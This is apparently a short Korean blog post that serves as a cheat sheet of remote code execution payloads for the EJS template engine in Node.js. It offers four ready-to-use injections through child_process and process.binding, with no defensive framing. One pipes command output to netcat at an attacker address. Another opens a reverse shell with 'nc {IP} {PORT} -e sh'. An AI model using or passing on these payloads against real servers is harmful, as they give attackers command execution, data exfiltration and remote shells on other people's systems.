Home ejs RCE Payload
Post
Cancel

ejs RCE Payload

ejs에서 사용 가능한 RCE payload 입니다.


Payload

mainModule

1
"process.mainModule.constructor._load('child_process').exec('{CMD}+|+nc+{attackerip}+{port})"

mainModule

1
"process.mainModule.require('child_process').execSync('{CMD}')"

binding

1
"process.binding('spawn_sync').spawn({file:+'/bin/sh',args:+['/bin/sh','-c','nc+{IP}+{PORT}+-e+sh'],stdio:+[{type:+'pipe',readable:+1}]})"

import

1
async function loadModule() {try {const module = await import('child_process');console.log(module.execSync(`{CMD}`).toString());} catch (error) {console.error(error);}};loadModule();

Reference

https://mihee0703.tistory.com/118
https://github.com/aadityapurani/NodeJS-Red-Team-Cheat-Sheet